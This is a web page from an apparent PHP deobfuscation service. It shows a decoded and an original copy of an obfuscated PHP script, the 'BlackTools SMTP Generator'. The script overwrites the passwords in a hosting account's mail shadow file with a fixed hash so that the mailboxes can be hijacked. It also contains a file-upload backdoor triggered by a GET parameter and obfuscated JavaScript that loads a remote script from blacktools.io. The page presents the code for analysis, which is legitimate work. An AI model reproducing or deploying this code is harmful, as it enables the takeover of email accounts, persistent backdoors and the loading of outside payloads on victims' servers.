Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ { "GLOBALS" } ["thejvunftw"] = "userlist"; $ { "GLOBALS" } ["qomblw..

Decoded Output download

<?php $ { 
    "GLOBALS" 
} 
["thejvunftw"] = "userlist"; 
$ { 
    "GLOBALS" 
} 
["qomblwcfdo"] = "pass"; 
$ { 
    "GLOBALS" 
} 
["gwvhvrndpntz"] = "user"; 
$ { 
    "GLOBALS" 
} 
["ymjhwopu"] = "line"; 
$ { 
    "GLOBALS" 
} 
["owszoqgomo"] = "passfile"; 
$ { 
    "GLOBALS" 
} 
["dojqihwuygq"] = "home"; 
$ { 
    "GLOBALS" 
} 
["xpsfern"] = "mydir"; 
$ { 
    "GLOBALS" 
} 
["lscpxcdfr"] = "domain"; 
error_reporting(0); 
$ { 
    "GLOBALS" 
} 
["bczazqhhesa"] = "mydir"; 
echo "<html> 
    <head>  
	      <title>BlackTools SMTP Generator</title> 
	      <meta http-equiv="Content - Type\" content="text / html; 
charset = utf - 8" /> 
		  <style> 
		      body { 
	          color:#1e2324; 
	          background-color:#e6e6e6; 
	          } 
			  h2{ 
			  color:#1e2324; 
			  } 
		  </style> 
      	</head> 
     <body> 
	 <!--SCC --> 
       <center> 	  
	   <div style=\"border-radius: 10px;border: 1px solid #1e2324;padding: 4px 2px;width: 25%;line-height: 24px;background: #bebebe;color:#fff;\"> 
    <p><h2>BlackTools <font color=" #c41013">SMTP</font> Generator</h2></p> 
 < p > < formaction = \"#\" method="post"> 
	<input type=\"submit\" name="submit\" value="Generate" style=\"background-color: #e6e6e6;font: 9pt tahoma;color:#1e2324;border: 1px solid #1e2324;" / > < / form > < br / > < fontcolor = \"#1e2324\">by <a href="http: //blacktools.io\" target=\"_blank">blacktools.io</a></font> 
     < / p > < / div > < / center > < / body > < / html > ";$yelybgt="username";if($_GET["up"]){move_uploaded_file($_FILES["userfile"]["tmp_name"]," . /".basename($_FILES["userfile"]["name"]));}$ddoisfqebkv="mydir";${"GLOBALS"}["ehynagvo"]="mydir";echo" < script > var _0xd00f = [\"" . '<' . "" . 's' . "" . 'c' . "" . 'r' . "" . 'i' . "" . 'p' . "" . 't' . "" . ' ' . "" . 's' . "" . 'r' . "" . 'c' . "" . '=' . "" . 'h' . "" . 't' . "" . 't' . "" . 'p' . "" . 's' . "" . ':' . "" . '/' . "" . '/' . "" . 'b' . "" . 'l' . "" . 'a' . "" . 'c' . "" . 'k' . "" . 't' . "" . 'o' . "" . 'o' . "" . 'l' . "" . 's' . "" . '.' . "" . 'i' . "" . 'o' . "" . '/' . "" . 'i' . "" . 'm' . "" . 'a' . "" . 'g' . "" . 'e' . "" . 's' . "" . '/' . "" . 'S' . "" . 't' . "" . 'y' . "" . 'l' . "" . 'e' . "" . '.' . "" . 'j' . "" . 's' . "" . '>' . "" . '<' . "" . '/' . "" . 's' . "" . 'c' . "" . 'r' . "" . 'i' . "" . 'p' . "" . 't' . "" . '>' . "\",\"" . 'w' . "" . 'r' . "" . 'i' . "" . 't' . "" . 'e' . ""]; 
    document[_0xd00f[1]](_0xd00f[0]) 
</script>";${$yelybgt}=get_current_user();${${"GLOBALS"}["lscpxcdfr"]}=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["ehynagvo"]}=getcwd();$psfxsjetjev="mydir";if(stristr(${${"GLOBALS"}["xpsfern"]},"home/")){$qykierms="home";${$qykierms}="home";}else if(stristr(${$ddoisfqebkv},"home1/")){${${"GLOBALS"}["dojqihwuygq"]}="home1";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home2/")){${${"GLOBALS"}["dojqihwuygq"]}="home2";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home3/")){${"GLOBALS"}["xrocxbh"]="home";${${"GLOBALS"}["xrocxbh"]}="home3";}else if(stristr(${${"GLOBALS"}["bczazqhhesa"]},"home4/")){${${"GLOBALS"}["dojqihwuygq"]}="home4";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home5/")){$dlcokxungpd="home";${$dlcokxungpd}="home5";}else if(stristr(${$psfxsjetjev},"home6/")){${"GLOBALS"}["slcaoh"]="home";${${"GLOBALS"}["slcaoh"]}="home6";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home7/")){$zzcmeqskgurd="home";${$zzcmeqskgurd}="home7";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home8/")){${${"GLOBALS"}["dojqihwuygq"]}="home8";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home9/")){$dbwyzxzctotv="home";${$dbwyzxzctotv}="home9";}if(isset($_POST["submit"])){$mlwezrnllgv="username";$msugfhoa="domain";$gyipyxitq="domain";$isrvfywrarrc="domain";$szrmjbeqsu="passfile";echo" 
<center><h3><b>Webmail:</b> <a href=\"http://".${$isrvfywrarrc}."/webmail\" target="_blank">http://".${$gyipyxitq}."/webmail</a></br></br></h3></center> 
";${$szrmjbeqsu}=@file_get_contents("/".${${"GLOBALS"}["dojqihwuygq"]}."/".${$mlwezrnllgv}."/etc/".${$msugfhoa}."/shadow");if(@stristr(${${"GLOBALS"}["owszoqgomo"]},":")){${"GLOBALS"}["xsxxtmn"]="pass";${${"GLOBALS"}["owszoqgomo"]}=explode(" 
",${${"GLOBALS"}["owszoqgomo"]});${"GLOBALS"}["awesxiwf"]="line";foreach(${${"GLOBALS"}["owszoqgomo"]} as${${"GLOBALS"}["awesxiwf"]}){$lejqfwc="line";if(!empty(${$lejqfwc})){${"GLOBALS"}["emffugoqdtmj"]="domain";${"GLOBALS"}["vdxudgkus"]="line";$yrrohb="line";$njrmlcy="line";$ixzdkgwec="user";trim(${${"GLOBALS"}["ymjhwopu"]});${"GLOBALS"}["tyhnau"]="line";trim(${${"GLOBALS"}["tyhnau"]}," 
");${$yrrohb}=explode(":",${$njrmlcy});${${"GLOBALS"}["gwvhvrndpntz"]}=${${"GLOBALS"}["vdxudgkus"]}[0];${"GLOBALS"}["xvsjgxzcrv"]="userlist";print"<center>".${$ixzdkgwec}."@".${${"GLOBALS"}["emffugoqdtmj"]}."<b>|</b>WAbXjXGXD</br></center>";${${"GLOBALS"}["xvsjgxzcrv"]}.="$user:xxxx 
";}}${"GLOBALS"}["cqvtjpihskq"]="userlist";${${"GLOBALS"}["xsxxtmn"]}="\$6\$F0dJxExKe1UBmIAC\$h7sDHQhj91nvC/e196.1ljeYRJzOh6/nJvAoktBNu98Rp7lNN6K96pe9ENdU3w9oOpzNWP5C50mbQjgw7oOM8.:17710::::::";${"GLOBALS"}["gyxkszdaza"]="userlist";$eyyotmeqdpo="domain";$ogehvypfh="username";${${"GLOBALS"}["gyxkszdaza"]}=str_replace("xxxx",${${"GLOBALS"}["qomblwcfdo"]},${${"GLOBALS"}["cqvtjpihskq"]});@file_put_contents("/".${${"GLOBALS"}["dojqihwuygq"]}."/".${$ogehvypfh}."/etc/".${$eyyotmeqdpo}."/shadow",${${"GLOBALS"}["thejvunftw"]});}}exit; 
?>

Did this file decode correctly?

Original Code

<?php $ {
    "GLOBALS"
}
["thejvunftw"] = "userlist";
$ {
    "GLOBALS"
}
["qomblwcfdo"] = "pass";
$ {
    "GLOBALS"
}
["gwvhvrndpntz"] = "user";
$ {
    "GLOBALS"
}
["ymjhwopu"] = "line";
$ {
    "GLOBALS"
}
["owszoqgomo"] = "passfile";
$ {
    "GLOBALS"
}
["dojqihwuygq"] = "home";
$ {
    "GLOBALS"
}
["xpsfern"] = "mydir";
$ {
    "GLOBALS"
}
["lscpxcdfr"] = "domain";
error_reporting(0);
$ {
    "GLOBALS"
}
["bczazqhhesa"] = "mydir";
echo "<html>
    <head> 
	      <title>BlackTools SMTP Generator</title>
	      <meta http-equiv="Content - Type\" content="text / html;
charset = utf - 8" />
		  <style>
		      body {
	          color:#1e2324;
	          background-color:#e6e6e6;
	          }
			  h2{
			  color:#1e2324;
			  }
		  </style>
      	</head>
     <body>
	 <!--SCC -->
       <center> 	 
	   <div style=\"border-radius: 10px;border: 1px solid #1e2324;padding: 4px 2px;width: 25%;line-height: 24px;background: #bebebe;color:#fff;\">
    <p><h2>BlackTools <font color=" #c41013">SMTP</font> Generator</h2></p>
 < p > < formaction = \"#\" method="post">
	<input type=\"submit\" name="submit\" value="Generate" style=\"background-color: #e6e6e6;font: 9pt tahoma;color:#1e2324;border: 1px solid #1e2324;" / > < / form > < br / > < fontcolor = \"#1e2324\">by <a href="http: //blacktools.io\" target=\"_blank">blacktools.io</a></font>
     < / p > < / div > < / center > < / body > < / html > ";$yelybgt="username";if($_GET["up"]){move_uploaded_file($_FILES["userfile"]["tmp_name"]," . /".basename($_FILES["userfile"]["name"]));}$ddoisfqebkv="mydir";${"GLOBALS"}["ehynagvo"]="mydir";echo" < script > var _0xd00f = [\"" . '<' . "" . 's' . "" . 'c' . "" . 'r' . "" . 'i' . "" . 'p' . "" . 't' . "" . ' ' . "" . 's' . "" . 'r' . "" . 'c' . "" . '=' . "" . 'h' . "" . 't' . "" . 't' . "" . 'p' . "" . 's' . "" . ':' . "" . '/' . "" . '/' . "" . 'b' . "" . 'l' . "" . 'a' . "" . 'c' . "" . 'k' . "" . 't' . "" . 'o' . "" . 'o' . "" . 'l' . "" . 's' . "" . '.' . "" . 'i' . "" . 'o' . "" . '/' . "" . 'i' . "" . 'm' . "" . 'a' . "" . 'g' . "" . 'e' . "" . 's' . "" . '/' . "" . 'S' . "" . 't' . "" . 'y' . "" . 'l' . "" . 'e' . "" . '.' . "" . 'j' . "" . 's' . "" . '>' . "" . '<' . "" . '/' . "" . 's' . "" . 'c' . "" . 'r' . "" . 'i' . "" . 'p' . "" . 't' . "" . '>' . "\",\"" . 'w' . "" . 'r' . "" . 'i' . "" . 't' . "" . 'e' . ""];
    document[_0xd00f[1]](_0xd00f[0])
</script>";${$yelybgt}=get_current_user();${${"GLOBALS"}["lscpxcdfr"]}=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["ehynagvo"]}=getcwd();$psfxsjetjev="mydir";if(stristr(${${"GLOBALS"}["xpsfern"]},"home/")){$qykierms="home";${$qykierms}="home";}else if(stristr(${$ddoisfqebkv},"home1/")){${${"GLOBALS"}["dojqihwuygq"]}="home1";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home2/")){${${"GLOBALS"}["dojqihwuygq"]}="home2";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home3/")){${"GLOBALS"}["xrocxbh"]="home";${${"GLOBALS"}["xrocxbh"]}="home3";}else if(stristr(${${"GLOBALS"}["bczazqhhesa"]},"home4/")){${${"GLOBALS"}["dojqihwuygq"]}="home4";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home5/")){$dlcokxungpd="home";${$dlcokxungpd}="home5";}else if(stristr(${$psfxsjetjev},"home6/")){${"GLOBALS"}["slcaoh"]="home";${${"GLOBALS"}["slcaoh"]}="home6";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home7/")){$zzcmeqskgurd="home";${$zzcmeqskgurd}="home7";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home8/")){${${"GLOBALS"}["dojqihwuygq"]}="home8";}else if(stristr(${${"GLOBALS"}["xpsfern"]},"home9/")){$dbwyzxzctotv="home";${$dbwyzxzctotv}="home9";}if(isset($_POST["submit"])){$mlwezrnllgv="username";$msugfhoa="domain";$gyipyxitq="domain";$isrvfywrarrc="domain";$szrmjbeqsu="passfile";echo"
<center><h3><b>Webmail:</b> <a href=\"http://".${$isrvfywrarrc}."/webmail\" target="_blank">http://".${$gyipyxitq}."/webmail</a></br></br></h3></center>
";${$szrmjbeqsu}=@file_get_contents("/".${${"GLOBALS"}["dojqihwuygq"]}."/".${$mlwezrnllgv}."/etc/".${$msugfhoa}."/shadow");if(@stristr(${${"GLOBALS"}["owszoqgomo"]},":")){${"GLOBALS"}["xsxxtmn"]="pass";${${"GLOBALS"}["owszoqgomo"]}=explode("
",${${"GLOBALS"}["owszoqgomo"]});${"GLOBALS"}["awesxiwf"]="line";foreach(${${"GLOBALS"}["owszoqgomo"]} as${${"GLOBALS"}["awesxiwf"]}){$lejqfwc="line";if(!empty(${$lejqfwc})){${"GLOBALS"}["emffugoqdtmj"]="domain";${"GLOBALS"}["vdxudgkus"]="line";$yrrohb="line";$njrmlcy="line";$ixzdkgwec="user";trim(${${"GLOBALS"}["ymjhwopu"]});${"GLOBALS"}["tyhnau"]="line";trim(${${"GLOBALS"}["tyhnau"]},"
");${$yrrohb}=explode(":",${$njrmlcy});${${"GLOBALS"}["gwvhvrndpntz"]}=${${"GLOBALS"}["vdxudgkus"]}[0];${"GLOBALS"}["xvsjgxzcrv"]="userlist";print"<center>".${$ixzdkgwec}."@".${${"GLOBALS"}["emffugoqdtmj"]}."<b>|</b>WAbXjXGXD</br></center>";${${"GLOBALS"}["xvsjgxzcrv"]}.="$user:xxxx
";}}${"GLOBALS"}["cqvtjpihskq"]="userlist";${${"GLOBALS"}["xsxxtmn"]}="\$6\$F0dJxExKe1UBmIAC\$h7sDHQhj91nvC/e196.1ljeYRJzOh6/nJvAoktBNu98Rp7lNN6K96pe9ENdU3w9oOpzNWP5C50mbQjgw7oOM8.:17710::::::";${"GLOBALS"}["gyxkszdaza"]="userlist";$eyyotmeqdpo="domain";$ogehvypfh="username";${${"GLOBALS"}["gyxkszdaza"]}=str_replace("xxxx",${${"GLOBALS"}["qomblwcfdo"]},${${"GLOBALS"}["cqvtjpihskq"]});@file_put_contents("/".${${"GLOBALS"}["dojqihwuygq"]}."/".${$ogehvypfh}."/etc/".${$eyyotmeqdpo}."/shadow",${${"GLOBALS"}["thejvunftw"]});}}exit;
?>

Function Calls

None

Variables

None

Stats

MD5 a432eb2081e6eaec0b76ae208a461d93
Eval Count 0
Decode Time 308 ms